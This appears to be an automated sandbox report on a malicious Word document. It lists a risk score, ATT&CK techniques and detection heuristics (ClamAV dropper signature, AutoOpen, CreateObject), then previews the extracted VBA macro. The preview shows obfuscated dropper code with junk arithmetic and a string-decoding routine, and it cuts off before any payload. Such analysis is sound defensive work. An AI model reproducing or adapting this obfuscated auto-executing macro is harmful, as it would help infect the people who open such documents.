MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1071.001 Web Protocols
The sample is a malicious OLE document containing a VBA macro. The macro uses obfuscation techniques and calls `CreateObject`, indicating an attempt to execute arbitrary code. The ClamAV detection 'Doc.Dropper.Agent-6464748-0' and the presence of a VBA macro with auto-execution markers strongly suggest this file acts as a dropper for a second-stage payload. The embedded URL, though benign, is noted as part of the document's structure.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6464748-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6464748-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 71436 bytes |
SHA-256: fbe96e6fda26a2c10d8c90748dde6c09e2c1481eab4c71bf39ed4b87051d32a8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 30 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "hkbaQLDn" Function jiNIhShjPkG() On Error Resume Next mwjCbtwk = "RzSqwVKNzsXO=%mlPfufUwaOWomYfKokCjAqs" SAULfRajnf = 8698450 / Atn(ilFivlB) / (9071374 - pIVQtlIoUoJ / 1522383 - Sqr(zLIQzfc * CStr(lOioUzSmfpizr / Sgn(7731342 - CDate(6301401 / XswEXT * 7800293 * Sqr(GPouZimWSqD))))) + (ncYoqCozfKXJi - 367897 / 8633859 / CLng(1237584))) PjGUvDzXwjc = 6260530 / Atn(USawhFIXM) / (200044 - IfAkn / 3648960 - Sqr(UKOVipEwsfQXlf * CStr(uVkSpuTfSqnw / Sgn(4305224 - CDate(6032910 / YqizmWKzn * 7143320 * Sqr(lMdHoPXTkfzUd))))) + (Aivfr - 8577873 / 6536129 / CLng(3252000))) jfmOh = niBSoLO + dd333h3sd(mwjCbtwk, 17, 11) NQMPicDXr = "MllvfYTLETPnkEL=%QrioljYipnwTXzbWcpjD" sFTonDD = 8032009 / Atn(QhVZfGBzzD) / (5938962 - IcVXbcwLUNoQKs / 2254872 - Sqr(PBpDozlPa * CStr(OaUlWzMSUO / Sgn(1496989 - CDate(446842 / VPiJCt * 960978 * Sqr(nvdiwNb))))) + (KqFwwO - 4208004 / 8171216 / CLng(6843680))) zSvuQ = 8134071 / Atn(EsXzPNvUnKni) / (4373804 - OafqCYlkJ / 1910716 - Sqr(CFGGtoaME * CStr(XPzNU / Sgn(467533 - CDate(8755990 / wWHibknqzjRC * 3782941 * Sqr(NZNHpNuWNWS))))) + (qKhciWsw - 2092276 / 7517983 / CLng(3142789))) coNmlsmHjX = GZootSjWz + dd333h3sd(NQMPicDXr, 12, 13) naqMSaipG = "QWWzjGilJGmiUp% tes&&s=%4raoP" ToTKAboodv = 8173427 / Atn(qEwQYc) / (4861172 - ljtWmNaBno / 3938010 - Sqr(DkVvX * CStr(LtrbflQb / Sgn(845423 - CDate(6388749 / iQiapG * 7803547 * Sqr(YrZXR))))) + (IJmEF - 6758462 / 34808 / CLng(8548203))) sjlwsPnW = 1484672 / Atn(fmJAIFLJ) / (8760708 - JXmdNijqzamWZa / 4442285 - Sqr(dXwwFmIRuD * CStr(nwSjPdVrkXJqbC / Sgn(1776904 - CDate(8632985 / iJMidhcoKvp * 4512471 * Sqr(UiJjsuh))))) + (WsEimETjXvwtb - 7592621 / 7066682 / CLng(8373509))) MrQuiBnf = dWTDotuB + dd333h3sd(naqMSaipG, 3, 15) MTzvsvvfKv = "LEuFwjhtzdUZLVioMlwjOtNioakdat!!%8ravPjjRW" PusRNiRu = 2986253 / Atn(MRzclYjjNjAKz) / (2794783 - qMzis / 1898168 - Sqr(bIUbthT * CStr(jaLoGTqfwLruEZ / Sgn(1849855 - CDate(580923 / iwKRjXW * 6972960 * Sqr(qrHKfBNOCZzKIh))))) + (hASBO - 1710896 / 472647 / CLng(9713505))) cULUr = 3336551 / Atn(LiIhzCo) / (867765 - dwXojp / 6516327 - Sqr(WjDCZQKkjEVVq * CStr(sqvUTEjFXKFB / Sgn(857092 - CDate(302235 / MmMhSj * 2858458 * Sqr(MlSwwOz))))) + (jPpFhsMW - 5702331 / 1784564 / CLng(3107579))) SSHhjv = KOprFif + dd333h3sd(MTzvsvvfKv, 6, 7) plfFcR = "jtujWHwPzSm%!!%5rav%!!%4raLhpFqfLDlGShYpJqjADWKdv" TDJhitolHNI = 3840665 / Atn(krPSqaIcYom) / (8218442 - dqAwpG / 5054572 - Sqr(LXsVwt * CStr(tZsvzFiz / Sgn(2268247 - CDate(7921091 / vmnpMIpSPp * 3739773 * Sqr(UqtXYUXzsh))))) + (jwwqrEzroHMKn - 3798838 / 4346216 / CLng(2205856))) iNVhYYZi = 6858019 / Atn(jdbZzXFGhFi) / (7724171 - lOvEqPRwNQziU / 1530406 - Sqr(GEBInRLEQJA * CStr(llWtMAPbw / Sgn(8468504 - CDate(2867273 / vSjSMdvdPZz * 5662100 * Sqr(WAaZK))))) + (vpqfNrWliE - 6185507 / 6705594 / CLng(2743921))) tnPzblOzFaG = twYMIaW + dd333h3sd(plfFcR, 24, 15) LzJOVNPAb = "AmtXFcWziFaniiXLljDmWeh=%5rav% tes&&YwKHDj" wqibwFZUfbt = 2475192 / Atn(OGdfkH) / (7215672 - corzLnUa / 2993092 - Sqr(DhbiJAZBCQTN * CStr(jkdvzQEhvOcu / Sgn(4740479 - CDate(5286591 / ZhmXNFWfjkwdGj * 990650 * Sqr(wODHNhrVK))))) + (FHSzjlY - 5089168 / 5405907 / CLng(4080540))) zaImZjQo = 5733435 / Atn(AfMFzLDmzzqtdj) / (4025598 - lrpRNCAO / 2399308 - Sqr(ALEjHjrDNYu * CStr(jjSXNH / Sgn(3336933 - CDate(4913044 / DQFpkfMhw * 5941603 * Sqr(sPKsiRqGBZSwYd))))) + (Izppsz - 7486263 / 2228676 / CLng(9446769))) GtMTE = VNVltrnOWJLl + dd333h3sd(LzJOVNPAb, 4, 18) IiHmduJoSz = "JEzHPfqPqlVZRDJRobWtj=%2rav% tes&&p=%zpoqXtzhppPfEXO" iOCjZTPB = 5089139 / Atn(vjEYiwsZdiOXcJ) / (3026206 - FwdkqwhSbGF / 8515854 - Sqr(YmvRmWXtQ * CStr(rApjjc / Sgn(3303393 - CDate(4871316 / zOSYbpF * 9697745 * Sqr(lzXrAAFrSFpnsm))))) + (rmkBQwqJhstJ - 1124595 / 2764127 / CLng(3775746))) SEjzH = 5373908 / Atn(XZIThAzpbsJ) / (2159368 - ZHcdhp ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.